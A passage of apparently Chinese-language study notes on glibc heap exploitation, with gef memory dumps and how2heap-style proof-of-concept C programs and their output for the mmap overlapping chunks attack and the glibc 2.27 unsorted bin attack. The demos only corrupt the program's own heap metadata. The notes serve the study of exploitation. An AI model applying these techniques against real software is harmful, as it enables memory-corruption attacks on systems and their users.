gef➤ x/30gx 0x7fffffffde60 - 0x10
0x7fffffffde50: 0x00007fffffffdf90 0x00005555555554dd
0x7fffffffde60: "0x0000000000000000" 0x00005555555592a0
0x7fffffffde70: 0x00005555555596d0 0x00005555555596f0
0x7fffffffde80: 0x0000555555559b10 0x0000555555559b30
0x7fffffffde90: 0x00007fffffffdf90 0x6cd29a7a37f19900
0x7fffffffdea0: 0x0000000000000000 0x00007ffff7dea0b3
...
```
- 丟進後
```c=
gef➤ x/30gx 0x7fffffffde60 - 0x10
0x7fffffffde50: 0x0000555555555140 0x00005555555554e7
0x7fffffffde60: "0x00005555555596e0" 0x00005555555592a0
0x7fffffffde70: 0x00005555555596d0 0x00005555555596f0
0x7fffffffde80: 0x0000555555559b10 0x0000555555559b30
0x7fffffffde90: 0x0000555555559f70 0x6cd29a7a37f19900
0x7fffffffdea0: 0x0000000000000000 0x00007ffff7dea0b3
...
```
## mmap_overlapping_chunks
- `Munmap` 用來 release mmap 的 memory
- mmap 中的 chunk 有些特性
- second bit of chunk 就是用來記錄 chunk 是不是來自 mmap (所以會設 1)
- 因為 chunk 不會被放到 bin,所以 fd, bk 用不到 (也沒有)
- size 紀錄當前 chunk size;prev_size 紀錄 chunk 剩下的 space
- munmap 完之後,mmap_threshold 會上升
### trace code
```
// https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L198
DEFAULT_MMAP_THRESHOLD 128 * 1024 // 0x20000
```
### demo attack
```c
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main(){
/*
A primer on Mmap chunks in GLibC
==================================
In GLibC, there is a point where an allocation is so large that malloc
decides that we need a seperate section of memory for it, instead
of allocating it on the normal heap. This is determined by the mmap_threshold var.
Instead of the normal logic for getting a chunk, the system call *Mmap* is
used. This allocates a section of virtual memory and gives it back to the user.
Similarly, the freeing process is going to be different. Instead
of a free chunk being given back to a bin or to the rest of the heap,
another syscall is used: *Munmap*. This takes in a pointer of a previously
allocated Mmap chunk and releases it back to the kernel.
Mmap chunks have special bit set on the size metadata: the second bit. If this
bit is set, then the chunk was allocated as an Mmap chunk.
Mmap chunks have a prev_size and a size. The *size* represents the current
size of the chunk. The *prev_size* of a chunk represents the left over space
from the size of the Mmap chunk (not the chunks directly belows size).
However, the fd and bk pointers are not used, as Mmap chunks do not go back
into bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of
the chunk must be page-aligned.
The POC below is essentially an overlapping chunk attack but on mmap chunks.
This is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c.
The main difference is that mmapped chunks have special properties and are
handled in different ways, creating different attack scenarios than normal
overlapping chunk attacks. There are other things that can be done,
such as munmapping system libraries, the heap itself and other things.
This is meant to be a simple proof of concept to demonstrate the general
way to perform an attack on an mmap chunk.
For more information on mmap chunks in GLibC, read this post:
http://tukan.farm/2016/07/27/munmap-madness/
*/
int* ptr1 = malloc(0x10);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
printf("of memory, instead of being put onto the normal heap.\n");
puts("=======================================================\n");
printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");
printf("This will cause both chunks to be Munmapped and given back to the system\n");
printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
/*
This next call to free is actually just going to call munmap on the pointer we are passing it.
The source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845
With normal frees the data is still writable and readable (which creates a use after free on
the chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this
data is read or written to, the program crashes.
Because of this added restriction, the main goal is to get the memory back from the system
to have two pointers assigned to the same location.
*/
// Munmaps both the second and third pointers
free(mmap_chunk_3);
/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/
/*
Allocate a very large chunk with malloc. This needs to be larger than
the previously freed chunk because the mmapthreshold has increased to 0x202000.
If the allocation is not larger than the size of the largest freed mmap
chunk then the allocation will happen in the normal section of heap memory.
*/
printf("Get a very large chunk from malloc to get mmapped chunk\n");
printf("This should overlap over the previously munmapped/freed chunks\n");
long long* overlapping_chunk = malloc(0x300000);
printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers.
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to.
printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}
// result
This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).
Extremely large chunks are special because they are allocated in their own mmaped section
of memory, instead of being put onto the normal heap.
=======================================================
Allocating three extremely large heap chunks of size 0x100000
The first mmap chunk goes directly above LibC: 0x7f0ea1502010
The second mmap chunk goes below LibC: 0x7f0ea1401010
The third mmap chunk goes below the second mmap chunk: 0x7f0ea1300010
Current System Memory Layout
================================================
running program
heap
....
third mmap chunk
second mmap chunk
LibC
....
ld
first mmap chunk
===============================================
Prev Size of third mmap chunk: 0x0
Size of third mmap chunk: 0x101002
Change the size of the third mmap chunk to overlap with the second mmap chunk
This will cause both chunks to be Munmapped and given back to the system
This is where the vulnerability occurs; corrupting the size or prev_size of a chunk
New size of third mmap chunk: 0x202002
Free the third mmap chunk, which munmaps the second and third chunks
Get a very large chunk from malloc to get mmapped chunk
This should overlap over the previously munmapped/freed chunks
Overlapped chunk Ptr: 0x7f0ea1201010
Overlapped chunk Ptr Size: 0x301002
Distance between new chunk and the second mmap chunk (which was munmapped): 0x40000
Value of index 0 of mmap chunk 2 prior to write: 0
Setting the value of the overlapped chunk
Second chunk value (after write): 0x1122334455667788
Overlapped chunk value: 0x1122334455667788
Boom! The new chunk has been overlapped with a previous mmaped chunk
```
## glibc 2.27
### unsorted bin attack
只能用在 buffers 不會進入 tcache 的情況下,可以透過 unsorted bin 來寫一個很大的值到 stack 中,實際上,unsorted bin attack 也可以寫 global_max_fast,並配合 fastbin attack
2.27 時沒有對改變 unsorted bin chunk 前後做檢查,以下為 2.29 後增加的檢查
```c=
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
```
#### trace code
```c=
// https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3729
...
bck = victim->bk;
...
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
...
// 不會進來這,因為更改過 bck 的關係
}
...
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av); // 在這裡會將 stack_var + 0x10 寫上 unsorted_chunks (av)
```
#### attack demo
```c=
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
// target
// volatile: 宣告的變數不會使用最佳化編譯
volatile unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
assert(stack_var != 0);
}
// result
This technique only works with buffers not going into tcache, either because the tcache-option for glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build instructions.
This file demonstrates unsorted bin attack by write a large unsigned long value into stack
In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack
Let's first look at the target we want to rewrite on stack:
0x7ffe73ef77d8: 0
Now, we allocate first normal chunk on the heap at: 0x55b0d7b7f260
And allocate another normal chunk in order to avoid consolidating the top chunk withthe first one during the free()
We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f9e8d29bca0
Now emulating a vulnerability that can overwrite the victim->bk pointer
And we write it with the target address-16 (in 32-bits machine, it should be target address-8):0x7ffe73ef77c8
Let's malloc again to get the chunk we just free. During this time, the target should have already been rewritten:
0x7ffe73ef77d8: 0x7f9e8d29bca0
```